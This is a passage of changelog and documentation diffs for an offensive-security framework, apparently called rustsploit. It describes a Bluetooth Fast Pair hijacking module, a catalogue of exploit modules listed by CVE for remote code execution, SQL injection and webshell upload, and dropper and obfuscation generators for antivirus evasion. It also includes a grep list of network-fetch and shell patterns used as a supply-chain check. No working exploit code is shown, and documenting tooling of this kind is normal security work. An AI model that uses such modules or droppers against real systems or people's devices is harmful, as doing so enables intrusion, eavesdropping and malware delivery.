- **AAD now uses post-ratchet epoch** on both sides (`encrypt_response` / `decrypt_request` accept an `aad_builder` closure invoked after any rekey). Previous code computed AAD pre-ratchet on the client and post-ratchet on the server, which broke decryption on the very first rekey.
|
||||
- **Per-tenant serialization in the proxy** moved into `rsfFetch` so reads and writes both serialize on the chain ratchet — concurrent `rsfGet`s no longer race on `session.sendChainKey`.
|
||||
- **Per-session mutex on the server** — `SessionStore` is now `RwLock<HashMap<_, Arc<Mutex<PqSession>>>>` so the global map lock isn't held across `next.run()`. Different tenants don't serialize through one lock.
|
||||
- **`TenantMutex.acquire` race fixed** — loop-and-claim atomic; no more check-then-set window where two concurrent callers can stomp each other's lock.
|
||||
|
||||
### REST surface for the API server
|
||||
|
||||
- **`/api/{*tail}` HTTP dispatcher** in `src/api.rs` mounts onto the existing `crate::ws::dispatch_rpc` table so the same canonical handlers serve both REST and `/pq/ws` JSON-RPC. Layered with `pq_middleware::pq_middleware` via `route_layer` so encryption/decryption only fires on `/api/*`.
|
||||
- **PQ middleware AAD bugs fixed:** honors `X-PQ-Method` (since the wire HTTP method is always POST per Node.js policy), uses `path_and_query` so query strings are covered by the AAD, restores the original semantic method on the inner request so GET/PUT/DELETE handlers actually dispatch.
|
||||
- **Server endpoints:** `GET /health`, `POST /pq/handshake`, `POST /pq/register-key`, `GET /pq/ws`, `ALL /api/*`. See [API-Server.md](API-Server.md).
|
||||
|
||||
### Token-bound enrollment (no shared filesystem required)
|
||||
|
||||
- **`POST /pq/register-key`** lets a remote client bootstrap itself by POSTing its X25519 + ML-KEM-768 public keys plus a one-time enrollment token printed at `--api` startup. The server validates the token in constant time, persists the new key to `~/.rustsploit/pq_authorized_keys` atomically and symlink-safely, and zeroizes the token on consumption. Subsequent key rotations must use the established PQ session.
|
||||
- `--interface` accepts any address (including `0.0.0.0:8080`) — the bootstrap is gated by the token, not by the bind address.
|
||||
- Generic `derive_salt` + token enrollment means no client-specific names appear in the rustsploit transport. Any conforming client can enroll.
|
||||
|
||||
### WPair (Bluetooth Fast Pair) — Paper conformance
|
||||
|
||||
- **ECDH key exchange** (Paper §3.3.2) — new `ExploitStrategy::Ecdh` performs the proper handshake: ephemeral secp256r1 keypair → ECDH against the Provider's Anti-Spoofing public key → `K = SHA-256(z)[0..16]` → encrypt KBP request → send 80-byte payload (`E_K(request) || PK_s`). Tried first when an Anti-Spoofing key is available; falls through to the existing raw KBP strategies otherwise.
|
||||
- **Anti-Spoofing key infrastructure** — `KnownDevice` now carries `anti_spoofing_key` (base64) and `chipset` fields. Lookup hits the hardcoded device DB first, falls back to Google's Nearby Devices API.
|
||||
- **Conformance tests** — two new REPL commands: `nonce` (Paper §4.3 — replay the same KBP write after disconnect/reconnect to test nonce freshness) and `curve` (Paper §4.5 — send a public key point not on secp256r1 to test curve validation).
|
||||
- **Device DB** — 13 missing devices added with their Bluetooth chipsets (MediaTek, Airoha, Bestechnic, Qualcomm, Actions, …). `info` now shows chipset + ECDH key availability; scan output flags `K` for devices with a known Anti-Spoofing key.
|
||||
- **5 new REPL commands:** `pair` (bluetoothctl with retry/backoff + trust + HFP connect), `rename <name>` (write personalized device name to Additional Data characteristic per §3.3.5, encrypted with session key when available), `switch` (audio-switching attack using stored account key as MAC key per §5.3.3), `testall`, `exploitall`.
|
||||
- **Protocol fixes:** `test_vulnerability` now tries ECDH-based 80-byte KBP first when an AS key exists (eliminates false "Patched" results); `fmdn_enroll` tries ECDH before falling back to raw KBP; passkey exchange now uses a real random 6-digit value encoded as big-endian uint32 (was writing all zeros); `flood_account_keys` encrypts account keys with the KBP session key when handshake succeeded (was writing them raw).
|
||||
- **Session state:** `WpairState` gains `session_key` / `account_key` / `br_edr_address`; `ExploitOutcome` gains `session_key`; `cmd_exploit` and `cmd_exploit_all` now persist these.
|
||||
- **Scan refinement:** new `SteadyState` device status for devices broadcasting account-key-filter beacons but NOT in pairing mode — prime WhisperPair targets.
|
||||
|
||||
### Module framework
|
||||
|
||||
- **OSINT category** — new `src/modules/osint/` registered alongside exploits/scanners/creds/plugins. First module: `cert_transparency` (crt.sh subdomain enumeration via certificate transparency logs) — full `info()`/`check()`/`run()` pattern, persists findings to the loot store, polls `is_cancelled()` in the parsing loop.
|
||||
- **Global cancellation token** — new `tokio-util` direct dep; `RunContext.cancel: CancellationToken`; `crate::context::is_cancelled()` and `cancellation_token()` helpers; `Job::kill` now triggers it; `run_with_context_target_and_cancel` plumbed through `Job::spawn`. Long-running modules can poll the token to honor `kill <job_id>` from the shell or `DELETE /api/jobs/<id>` from the API.
|
||||
- **Wordlist manager** — new `src/utils/wordlist.rs::resolve(name) -> Result<PathBuf>` downloads from a checksum-pinned catalogue into `~/.rustsploit/wordlists/` (mode 0700) with size cap (256 MiB) and tmp-rename atomicity. Catalogue intentionally empty until maintainer adds verified entries.
|
||||
- **Plugin clarification** — `src/modules/plugins/sample_plugin.rs` now correctly documents that "plugins" are compile-time templates, not loadable shared objects. Contradictory `unsafe` rule removed.
|
||||
- **Structured event bus** — new `src/events.rs` (`ModuleEvent` enum: `ModuleStarted`, `ModuleFinished`, `HostUp`, `ServiceDetected`, `CredentialFound`, `LootStored`). `#[non_exhaustive]` so adding variants is non-breaking. The `/pq/ws` handler subscribes and fans these out alongside job events; `commands::run_module` automatically emits the lifecycle pair so all modules participate without per-module changes.
|
||||
|
||||
### Batch-mode menu loops fixed
|
||||
|
||||
- The framework dispatches mass-scan targets (`0.0.0.0`, `random`, CIDR, file) by entering batch mode and fanning out N concurrent module invocations against single IPs. Modules whose menu printing wasn't gated would render the menu N times even though `cfg_prompt_default` returned the cached value once. With concurrency 50 the menus interleaved into a runaway loop.
|
||||
- **Round 1: 14 modules patched** — wrap interactive menu prints in `if !is_batch_mode()`; for menus that pick a target type (Single / Subnet / File), short-circuit to "Single Target" in batch mode since the framework already orchestrated the targets.
|
||||
- **Round 2: 12 more files** — found 8 more REPL loops that would spin forever on cached prompts (`spotube`, `apache_tomcat/cve_2025_24813`, four Trend Micro CVEs, `php/cve_2024_4577`), 1 stdin read that would block in batch (`hikvision_rce_cve_2021_36260`), 1 hard-coded `interactive=true` (`telnet_auth_bypass_cve_2026_24061`), 1 ungated menu helper (`opensshserver_9_8p1race_condition`), and 3 menus missed in round 1 (`tapo_c200_vulns`, `tplink_tapo_c200`, `fortiweb_sqli_rce_cve_2025_25257`).
|
||||
- **Verification:** all 165 module banner functions check `is_batch_mode()`; 86 module loops audited, only 8 had infinite-loop potential under cached prompts; remaining validation loops only spin on operator-supplied invalid input.
|
||||
|
||||
### Code quality
|
||||
|
||||
- **Panic-free Rust source tree.** `grep` of `src/` returns zero matches for `.unwrap()`, `.expect(`, `panic!(`, `unreachable!(`, `unimplemented!(`, `todo!(`. The `_or(...)` / `_or_default()` / `_or_else(...)` fallback patterns remain (those provide values, not panics).
|
||||
- `HostIdentity::generate()` returns `Result` (ML-KEM keygen propagates RNG failure cleanly).
|
||||
- `vnc_des_encrypt` (in both `creds/generic/vnc_bruteforce.rs` and `exploits/vnc/rfb.rs`) returns `Result`; `zlib_compress` returns `io::Result`. All `.expect("slice of length N")` patterns map_err'd.
|
||||
- `config.rs::VALID_CHARS` regex switched from `Lazy::new(... .expect(...))` to `OnceCell::get_or_try_init(...)` so a (theoretically impossible) compile failure surfaces as a clean error from `validate_target`.
|
||||
- `native/url_encoding.rs` infallible-error path uses the canonical `match never {}` pattern — compiler-verified no-panic with no runtime check.
|
||||
|
||||
### Native FFI consolidation
|
||||
|
||||
- New `src/native/network.rs` is the single audited home for `make_dst_sockaddr` and `send_one_raw`. 8 DoS modules previously held duplicated copies (16 fn definitions). All now `use crate::native::network::{...}`.
|
||||
- Project-wide `unsafe` blocks: 22 → 15. Every remaining `unsafe` site has a `SAFETY:` comment.
|
||||
|
||||
### Crypto crate version bumps
|
||||
|
||||
| Package | Old | New |
|
||||
|---------|-----|-----|
|
||||
| `aes` | 0.8.4 | 0.9.0 |
|
||||
| `cipher` | 0.4.4 | 0.5.1 |
|
||||
| `des` | 0.8.1 | 0.9.0 |
|
||||
| `sha1` | 0.10.6 | 0.11.0 |
|
||||
| `sha2` | 0.10.9 | 0.11.0 |
|
||||
| `hkdf` | 0.12.4 | 0.13.0 |
|
||||
| `aes-gcm` | 0.10.3 | 0.11.0-rc.3 |
|
||||
| `chacha20poly1305` | 0.10.1 | 0.11.0-rc.3 |
|
||||
| `kem` | 0.3.0-pre.0 | 0.3.0 |
|
||||
| `ml-kem` | 0.2.3 | 0.3.0-rc.2 |
|
||||
| `hickory-client` | 0.25.2 | 0.26.0-alpha.1 |
|
||||
| `hickory-proto` | 0.25.2 | 0.26.0-alpha.1 |
|
||||
|
||||
API renames absorbed across 7 files: `cipher::generic_array::GenericArray` → `cipher::array::Array`; `BlockEncrypt`/`BlockDecrypt` → `BlockCipherEncrypt`/`BlockCipherDecrypt`; ml-kem API: `KemCore::generate` → `DecapsulationKey::try_generate_from_rng`, `encapsulate` → `encapsulate_with_rng`, `as_bytes` → `to_bytes`/`as_slice`. `rand_core` 0.6 kept for `x25519-dalek` compatibility, `rand::rng()` used for ml-kem/kem 0.3 which need rand_core 0.10 traits.
|
||||
|
||||
### Supply-chain audit
|
||||
|
||||
Scope: 393 unique crates / 427 locked package versions.
|
||||
|
||||
| Check | Result |
|
||||
|-------|--------|
|
||||
| `cargo audit` (RUSTSEC active vulns) | 0 |
|
||||
| Cross-ref vs. 64 `categories=["malicious"]` advisories | 0 hits |
|
||||
| Non-crates.io sources (git / path / alt registry) | 0 |
|
||||
| Locked checksums present | 427 / 427 |
|
||||
| `build.rs` scripts grep'd for `TcpStream` / `reqwest` / `curl` / `wget` / `/dev/tcp` / `base64::decode` / `exec` / `eval` / `spawn sh` | 0 hits across 35 build scripts |
|
||||
|
||||
The two crate names that surfaced in a loose grep over the advisory DB (`axum-core`, `time`) are false positives — both are DoS reports whose prose contains the word "malicious"; the locked versions (`axum-core` 0.5.6, `time` 0.3.47) are patched. The `time` override at [`Cargo.toml:133`](../Cargo.toml) is exactly the RUSTSEC-2026-0009 fix.
|
||||
|
||||
**Hygiene notes (informational, not attacks):** `rustls-pemfile` 2.2.0 is unmaintained (RUSTSEC-2025-0134, the only `cargo audit` finding); rustls upstream recommends `rustls-pki-types::pem` going forward. 7 pre-release deps locked (`aead`/`aes-gcm`/`chacha20poly1305`/`poly1305` -rc, `ml-kem` -rc, `hickory-*` -alpha) — all from trusted orgs (RustCrypto, hickory-dns), worth re-pinning to stable when each lands.
|
||||
|
||||
---
|
||||
|
||||
## v0.4.8 (2026-04-19)
|
||||
|
||||
### Module Totals
|
||||
|
||||
@@ -27,6 +27,91 @@ if response.status() == 200 && body.contains("expected_indicator") {
|
||||
|
||||
---
|
||||
|
||||
## Error Handling — no `.unwrap()`, no swallowing
|
||||
|
||||
Modules must surface transport and decode failures explicitly. The framework
|
||||
treats a panicking module as a hard build/runtime failure, and silently
|
||||
swallowing a failed `send()` or `text()` causes both `check()` and `run()`
|
||||
to lie about what happened on the wire.
|
||||
|
||||
**Forbidden patterns:**
|
||||
|
||||
```rust
|
||||
// .unwrap() / .expect() — panic on error.
|
||||
let resp = client.get(&url).send().await.unwrap();
|
||||
|
||||
// .unwrap_or_default() on Result-returning HTTP calls — turns transport
|
||||
// or decode failure into an empty body the caller assumes is the real one.
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
|
||||
// `if let Ok(r) = ...` without an `else` arm — drops the network error
|
||||
// and silently falls through to "NotVulnerable" / "not detected".
|
||||
if let Ok(r) = client.get(&url).send().await {
|
||||
/* … */
|
||||
}
|
||||
```
|
||||
|
||||
**Preferred patterns:**
|
||||
|
||||
In `check(...) -> CheckResult`, return `CheckResult::Error(…)` for failures so
|
||||
operators can distinguish "couldn't reach the host" from "host is patched":
|
||||
|
||||
```rust
|
||||
match client.get(&url).send().await {
|
||||
Ok(r) => match r.text().await {
|
||||
Ok(body) if body.contains("foo") =>
|
||||
CheckResult::Vulnerable("foo detected".into()),
|
||||
Ok(_) => CheckResult::NotVulnerable("foo not present".into()),
|
||||
Err(e) => CheckResult::Error(format!("body decode: {}", e)),
|
||||
},
|
||||
Err(e) => CheckResult::Error(format!("request failed: {}", e)),
|
||||
}
|
||||
```
|
||||
|
||||
In `run(...) -> anyhow::Result<()>`, prefer `?` with `anyhow::Context` for
|
||||
abort-the-flow failures, and use `match` with `crate::mprintln!` when the
|
||||
loop should report-and-continue:
|
||||
|
||||
```rust
|
||||
use anyhow::Context;
|
||||
|
||||
let resp = client.get(&url).send().await.context("probe failed")?;
|
||||
let body = resp.text().await.context("read body")?;
|
||||
|
||||
for path in candidate_paths {
|
||||
match client.get(format!("{}{}", base, path)).send().await {
|
||||
Ok(r) => { /* inspect r */ }
|
||||
Err(e) => crate::mprintln!("{} {}: {}", "[-]".red(), path, e),
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Helpers available** (all in `src/utils/network.rs`, re-exported as `crate::utils::*`):
|
||||
|
||||
- `http_get_status_body(&client, &url) -> anyhow::Result<(u16, String)>` — single call that surfaces both transport and body-decode failures via `anyhow::Context`. Use it in `run()` with `let (_, body) = ... .await?;`. Use it in `check()` with `match`.
|
||||
- `http_get_status_headers_body(&client, &url) -> anyhow::Result<(u16, HeaderMap, String)>` — same but also returns the response headers, for fingerprints that look at `Server` / `Via` / `X-Powered-By`.
|
||||
- `header_string(headers, "name") -> String` — reads a header as `String`. Returns `""` if absent and the literal sentinel `"<non-utf8>"` if present-but-non-utf8, so the swallow that `.to_str().ok().unwrap_or("")` does silently is now visible in module output. Avoid the older `.to_str().ok().unwrap_or("")` chain — it hides the non-utf8 case.
|
||||
|
||||
**The full list of banned patterns lives in [`BAD_PATTERNS.md`](BAD_PATTERNS.md)** — 91 regex patterns covering panicking error handling, silent error swallowing, lint suppression, panic vectors, lossy numeric casts, async/blocking pitfalls, logging discipline, HTTP-client policy, iterator glitches, style and embedded secrets. The doc ships with a copy-paste reproducer that returns a non-zero exit on any hit. Quick-reference banned highlights:
|
||||
|
||||
- `.unwrap()`, `.expect("…")`, `.unwrap_or_default()`, `.unwrap_or(…)`, `.unwrap_or_else(…)`, `.to_str().ok().unwrap_or(…)`
|
||||
- `#[allow(dead_code)]`, `#[allow(unused_imports)]`, `#[allow(unused_variables)]`, any other `#[allow(...)]`
|
||||
- `panic!()`, `unreachable!()`, `todo!()`, `unimplemented!()`, `assert!`, `assert_eq!`
|
||||
- `if let Ok(_) = ...` without an `else` (silent fall-through) — use `match`
|
||||
- `Err(_) => …` anonymous binding even when the arm has a side effect. Always bind the value and surface it via `Display` — e.g. `Err(elapsed) => anyhow::bail!("connect to {} timed out after {:?}: {}", addr, CONNECT_TIMEOUT, elapsed)`
|
||||
- `let _ = <expression>;` where the expression returns `Result` — use `if let Err(e) = ...` and log `e`
|
||||
- Direct array index `arr[i]` and slice range `&buf[..n]` — use `arr.get(i)` / `buf.get(..n).context(...)?`
|
||||
- Lossy numeric casts (`as u16`, `as u64`, etc.) — use `try_into().with_context(...)?`
|
||||
- Sync I/O in async functions (`std::fs::*`, `std::process::Command`, `std::thread::sleep`, `std::net::TcpStream`) — use `tokio::*`
|
||||
|
||||
**Native libraries (`crate::native::*`):** prefer in-tree helpers over third-party crates / hand-rolled formatting:
|
||||
|
||||
- `crate::native::hex::encode(&bytes)` for response-byte preview hex.
|
||||
- `crate::utils::url_encode(s)` (delegates to `crate::native::url_encoding::encode`) for query / form payload encoding.
|
||||
- `crate::native::network::*` for raw-socket DoS modules.
|
||||
|
||||
---
|
||||
|
||||
## Artifact Handling
|
||||
|
||||
If the exploit downloads or writes files (e.g., memory dumps, webshells):
|
||||
|
||||
+132
-9
@@ -2,9 +2,9 @@
|
||||
|
||||
All modules live under `src/modules/` and are auto-discovered by `build.rs`. Use the shell's `modules` command or `find <keyword>` for the live list. Use `info <module>` to see metadata (CVE, author, rank) if available.
|
||||
|
||||
> **Module categories:** `exploits/`, `scanners/`, `creds/`, `plugins/` -- all auto-discovered at build time. Adding a new subdirectory under `src/modules/` automatically creates a new category.
|
||||
> **Module categories:** `exploits/`, `scanners/`, `creds/`, `osint/`, `plugins/` -- all auto-discovered at build time. Adding a new subdirectory under `src/modules/` automatically creates a new category.
|
||||
|
||||
**Totals:** 183 exploit modules, 27 scanners, 29 credential modules, 1 plugin.
|
||||
**Totals (v0.4.10):** 283 exploit modules, 35 scanners, 30 credential modules, 1 OSINT module, 1 plugin.
|
||||
|
||||
---
|
||||
|
||||
@@ -14,7 +14,7 @@ All modules live under `src/modules/` and are auto-discovered by `build.rs`. Use
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/bluetooth/wpair` | Hijacks Bluetooth accessories via Google Fast Pair protocol flaw allowing unauthorized bonding, account key injection, and audio interception |
|
||||
| `exploits/bluetooth/wpair` | WhisperPair: hijacks Bluetooth accessories via Google Fast Pair protocol flaws — unauthorized bonding, account key injection, audio interception. v0.4.9 adds proper paper-conformant **ECDH key exchange** (secp256r1 + SHA-256, 80-byte payload `E_K(request) \|\| PK_s`) using each device's **Anti-Spoofing public key** when known, with raw-KBP fallback. New REPL commands: `pair`, `rename <name>` (writes the personalized name to the Additional Data characteristic, encrypted with the session key), `switch` (audio-switching attack using the stored account key as MAC key), `testall`, `exploitall`. Conformance tests `nonce` (replay the same KBP write to test nonce freshness) and `curve` (off-curve point to test secp256r1 validation). Device DB carries `anti_spoofing_key` + `chipset` (MediaTek, Airoha, Bestechnic, Qualcomm, Actions, …); scan output flags `K` for devices with a known AS key, `SteadyState` for prime targets broadcasting account-key-filter beacons but not in pairing mode |
|
||||
|
||||
### Cameras
|
||||
|
||||
@@ -26,6 +26,8 @@ All modules live under `src/modules/` and are auto-discovered by `build.rs`. Use
|
||||
| `exploits/cameras/hikvision/hikvision_rce_cve_2021_36260` | Hikvision IP camera command injection RCE (CVE-2021-36260) |
|
||||
| `exploits/cameras/reolink/reolink_rce_cve_2019_11001` | Reolink camera authenticated OS command injection via TestEmail (CVE-2019-11001) |
|
||||
| `exploits/cameras/uniview/uniview_nvr_pwd_disclosure` | Uniview NVR remote credential extraction and decoding |
|
||||
| `exploits/cameras/galayou_g2_rtsp_bypass_cve_2025_9983` | GALAYOU G2 IP camera RTSP DESCRIBE accepted without authentication; live feed exposed (CVE-2025-9983) |
|
||||
| `exploits/cameras/xiongmai_xm530` | Xiongmai XM530 control protocol probe on TCP/34567; banner / login-handshake fingerprint |
|
||||
|
||||
### Cowrie (SSH Honeypot)
|
||||
|
||||
@@ -51,6 +53,14 @@ All modules live under `src/modules/` and are auto-discovered by `build.rs`. Use
|
||||
| `exploits/dionaea/mysql_sqli` | MySQL COM_FIELD_LIST with SQLite injection in table name leaks dionaea internal DB schema |
|
||||
| `exploits/dionaea/tftp_crash` | Malformed TFTP RRQ without trailing NUL causes struct.error in dionaea options parser |
|
||||
|
||||
### DoS / CVE-flagged DoS
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/dos/apachebrpc_overflow_cve_2025_59789` | Apache bRPC <1.15.0 stack overflow via deeply recursive JSON; fingerprint probe (CVE-2025-59789) |
|
||||
| `exploits/dos/http2_rapidreset_cve_2023_44487` | HTTP/2 Rapid Reset DoS exposure probe — detects h2 negotiation, does not exercise the abuse traffic (CVE-2023-44487) |
|
||||
| `exploits/dos/px4_uav_dos` | PX4 Military UAV Autopilot 1.12.3 MAVLink fingerprint probe over UDP/14550 (CVE-2025-5640) |
|
||||
|
||||
### DoS / Stress Testing
|
||||
|
||||
| Module Path | Description |
|
||||
@@ -109,6 +119,23 @@ All modules live under `src/modules/` and are auto-discovered by `build.rs`. Use
|
||||
|-------------|-------------|
|
||||
| `exploits/ipmi/ipmi_enum_exploit` | IPMI enumeration with cipher 0 bypass, default credential brute force, and RAKP hash dumping |
|
||||
|
||||
### Network Infrastructure -- General
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/apache_modssl_bypass_cve_2025_23048` | Apache mod_ssl TLS 1.3 client-cert auth bypass via session resumption across vhosts (CVE-2025-23048) |
|
||||
| `exploits/network_infra/arista_ngfw_disclose` | Arista NGFW 17.3.1 unauthenticated internal RPC disclosure |
|
||||
| `exploits/network_infra/checkpoint_fileread_cve_2024_24919` | Check Point Security Gateway R80.40 / R81 unauthenticated arbitrary file read via /clients/MyCRL aCSHELL traversal (CVE-2024-24919) |
|
||||
| `exploits/network_infra/hpprocurve_disclose` | HP ProCurve 4.00 admin web banner detect + credential dump probe |
|
||||
| `exploits/network_infra/hpprocurve_snac_inject` | HP ProCurve SNAC Domain Controller PHP injection probe |
|
||||
| `exploits/network_infra/juniper_screenos_scanner` | Juniper ScreenOS 6.2.0r15 SSH banner check (CVE-2015-7755 backdoor) |
|
||||
|
||||
### Network Infrastructure -- Cisco
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/cisco/cisco_ise_api_inject_cve_2025_20281` | Cisco ISE 3.1 / 3.2 ERS API unauthenticated command injection in InternalUser name field, RCE as root (CVE-2025-20281) |
|
||||
|
||||
### Network Infrastructure -- Commvault
|
||||
|
||||
| Module Path | Description |
|
||||
@@ -200,11 +227,8 @@ All modules live under `src/modules/` and are auto-discovered by `build.rs`. Use
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/payloadgens/batgen` | Creates multi-stage .bat dropper chains with PowerShell download and execution |
|
||||
| `exploits/payloadgens/lnkgen` | Malicious Windows LNK files for SMB NTLMv2-SSP hash disclosure (CVE-2025-50154, CVE-2025-59214) |
|
||||
| `exploits/payloadgens/narutto_dropper` | Polymorphic 3-stage stealth droppers with LOLBAS support and anti-VM evasion |
|
||||
| `exploits/payloadgens/payload_encoder` | Payload encoding (XOR, base64, hex, zero-width, etc.) for AV evasion |
|
||||
| `exploits/payloadgens/polymorph_dropper` | 3-stage polymorphic payload chain using Task Scheduler for persistence |
|
||||
| `exploits/payloadgens/payloadgen` | Unified payload generator. Modes: `bat` (BAT chain dropper), `lnk` (NTLMv2-SSP hash disclosure CVE-2025-50154 / CVE-2025-59214), `narutto` (polymorphic 3-stage LOLBAS dropper + anti-VM), `polymorph` (3-stage Task Scheduler dropper), `encode` (multi-stage payload encoder — base16/32/64/url/shell/html/zero-width), `menu` (interactive selector). All driven by `native::payload_engine`. |
|
||||
| `exploits/payloadgens/obfuscator` | Dynamic multi-layer obfuscator. 24 methods: XOR / RC4 / base16/32/32hex/64/64url/85/91 / ROT13 / ROT47 / reverse / gzip / URL / Caesar / bit-rotate / Vigenère / zero-width / hex-split / UTF-16LE / char-substitution / ANSI-escape / chunk-permute. Modes: `chain` (explicit), `random` (auto N rounds), `same` (one method × N). Output: `raw`, `recipe`, `python` / `powershell` / `bash` / `javascript` self-decoders, `c_array`. Default 4 rounds (user-configurable up to 32). |
|
||||
|
||||
### Routers -- D-Link
|
||||
|
||||
@@ -351,9 +375,13 @@ All modules live under `src/modules/` and are auto-discovered by `build.rs`. Use
|
||||
|
||||
### VoIP
|
||||
|
||||
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/voip/cve_2025_64328_freepbx_cmdi` | FreePBX filestore module post-authentication command injection (CVE-2025-64328) |
|
||||
| `exploits/voip/magnusbilling_ssrf_cve_2023_30258` | MagnusBilling 6 SSRF, path traversal, and crypto weaknesses — admin panel detection (CVE-2023-30258) |
|
||||
| `exploits/voip/xorcompbx_rce` | Xorcom CompletePBX 5.2.35 admin portal detection; auth-required RCE via shell injection |
|
||||
|
||||
### Web Applications
|
||||
|
||||
@@ -386,6 +414,91 @@ All modules live under `src/modules/` and are auto-discovered by `build.rs`. Use
|
||||
| `exploits/webapps/xwiki/cve_2025_24893_xwiki_rce` | XWiki SolrSearch unauthenticated RCE via Groovy template injection (CVE-2025-24893) |
|
||||
| `exploits/webapps/zabbix/zabbix_7_0_0_sql_injection` | Zabbix 7.0.0 time-based SQL injection in API endpoints |
|
||||
| `exploits/webapps/zimbra_sqli_auth_bypass_cve_2025_25064` | Zimbra ZCS < 10.0.12 unauthenticated SQL injection via /service/home~ for email metadata extraction (CVE-2025-25064) |
|
||||
| `exploits/webapps/aiplugins_rce_cve_2025_23968` | WordPress AI Plugins (Cibeles AI / AI Feeds / AI Buddy) GitHub-import unauthenticated webshell upload (CVE-2025-23968 / 13595 / 13597) |
|
||||
| `exploits/webapps/azureapim_checker` | Azure APIM developer portal v2 internal-status disclosure / cross-tenant signup bypass probe |
|
||||
| `exploits/webapps/azuriom_csti_cve_2025_65271` | Azuriom CMS 1.2.6 admin dashboard client-side template injection privilege escalation (CVE-2025-65271) |
|
||||
| `exploits/webapps/beego_traversal_lfi` | Beego 1.12.3 application directory traversal via percent-encoded backslash (`..%5c`) for arbitrary file read |
|
||||
| `exploits/webapps/cacti_graph_rce_cve_2025_24367` | Cacti 1.2.29 authenticated Graph Template RCE — RRDtool field abuse to write PHP shell (CVE-2025-24367) |
|
||||
| `exploits/webapps/casdoor_traversal_cve_2023_34927` | Casdoor 2.95.0 directory traversal via `..%5c` encoding for arbitrary file read (CVE-2023-34927) |
|
||||
| `exploits/webapps/cbitrix_translate_upload_cve_2025_67887` | 1C-Bitrix CMS ≤ 25.100.500 Translate module unauthenticated file upload (CVE-2025-67887) |
|
||||
| `exploits/webapps/cinnamon_kotaemon_zip_dos_cve_2025_63914` | Cinnamon kotaemon ≤ 0.11.0 authenticated zip-bomb upload DoS (CVE-2025-63914) |
|
||||
| `exploits/webapps/cleo_harmony_filewrite_cve_2024_55956` | Cleo LexiCom / VLTrader / Harmony 5.8.0.23 unauthenticated arbitrary file write to JSP RCE (CVE-2024-55956) |
|
||||
| `exploits/webapps/clipbucket_rce_cve_2025_55911` | ClipBucket 5.5.2 Build 90 authenticated RCE via moderator upload form (CVE-2025-55911) |
|
||||
| `exploits/webapps/cloudbleed_scanner` | Cloudbleed-style memory leak scanner — sends malformed HTML probes to Cloudflare-fronted hosts |
|
||||
| `exploits/webapps/commvault_cli_rce_cve_2025_57788` | Commvault CLI 11.36.60 unauthenticated RCE chain (CVE-2025-57788 / 57790 / 57791) — fingerprint probe |
|
||||
| `exploits/webapps/convio_sqli` | Convio CMS 24.5 SQL injection in `navItem` parameter on PageNavigator |
|
||||
| `exploits/webapps/coohom_xss` | Coohom application reflected XSS probe |
|
||||
| `exploits/webapps/cpms_authbypass` | Clinic's Patient Management System 2.0 unauthenticated admin access (CVE-2022-2297, CVE-2025-3096) |
|
||||
| `exploits/webapps/craftcms_logicflaw` | Craft CMS 5.0 image transform authentication logic flaw fingerprint |
|
||||
| `exploits/webapps/craftcms_ssti_scanner` | Craft CMS 5.0 Twig template injection scanner — `{{7*7}}` reflection probe |
|
||||
| `exploits/webapps/crafty_controller_rce_cve_2025_14700` | Crafty Controller 4.6.1 authenticated SSTI RCE in template config (CVE-2025-14700) |
|
||||
| `exploits/webapps/django_sqli_cve_2025_64459` | Django 5.1.13 SQL injection in QuerySet/Lookup APIs (CVE-2025-64459) |
|
||||
| `exploits/webapps/dnnplatform_upload_cve_2025_64095` | DNN Platform <10.1.1 unauthenticated arbitrary file upload via HTML editor (CVE-2025-64095) |
|
||||
| `exploits/webapps/dotcms_blind_sqli_cve_2025_8311` | dotCMS 25.07.02-1 authenticated time-based blind SQL injection in Content API (CVE-2025-8311) |
|
||||
| `exploits/webapps/dotcms_scanner` | dotCMS generic scanner — version disclosure via `/api/v1/system/version` |
|
||||
| `exploits/webapps/drupal11_pathdisclose_cve_2024_45440` | Drupal 11.x full path disclosure via crafted query parameters (CVE-2024-45440) |
|
||||
| `exploits/webapps/eduplus_idor` | EduplusCampus 3.0.1 student portal IDOR — payment record enumeration |
|
||||
| `exploits/webapps/elementor_wb_sqli_cve_2023_0329` | Elementor Website Builder <3.12.2 admin SQL injection — readme fingerprint (CVE-2023-0329) |
|
||||
| `exploits/webapps/eramba_grc_rce_cve_2023_36255` | Eramba GRC 3.19.1 authenticated command injection in download-test-pdf (CVE-2023-36255) |
|
||||
| `exploits/webapps/ffcw_inject` | Fortra FileCatalyst Workflow 5.1.6 PHP code injection fingerprint |
|
||||
| `exploits/webapps/flask_command_injection` | Flask 3.0.0 SSTI / command injection probe — reflected expression evaluation |
|
||||
| `exploits/webapps/flatcore_upload_cve_2019_13961` | flatCore 1.5 authenticated file-upload-to-RCE chain detection (CVE-2019-13961) |
|
||||
| `exploits/webapps/flatpress_xsrf_shell` | FlatPress 1.3 admin CSRF + shell upload fingerprint |
|
||||
| `exploits/webapps/flowise_js_inject_cve_2025_59528` | Flowise 3.0.6 JS parsing injection RCE via crafted node payloads (CVE-2025-59528) |
|
||||
| `exploits/webapps/foxcms_inject_cve_2025_29306` | FoxCMS 1.0 PHP code injection in admin endpoints (CVE-2025-29306) |
|
||||
| `exploits/webapps/fuguhub_rsakey_disclose_cve_2025_65790` | FuguHub 8.1 public RSA private key + X.509 certificate disclosure (CVE-2025-65790) |
|
||||
| `exploits/webapps/getsimple_csrf_cve_2021_28976` | GetSimple CMS 3.3.16 CSRF in backup management — wipe all backups (CVE-2021-28976) |
|
||||
| `exploits/webapps/gnuboard5_install` | Gnuboard v5.6.23 exposed `/install/` endpoint allows config compromise (CVE-2020-18662) |
|
||||
| `exploits/webapps/gravcms_sandbox_bypass_cve_2025_66294` | Grav CMS 1.7.49.5 Twig sandbox bypass authenticated RCE (CVE-2025-66294 / 66301) |
|
||||
| `exploits/webapps/guppycms_shell` | GuppY CMS 6.00.10 admin login fingerprint + auth-required PHP code execution |
|
||||
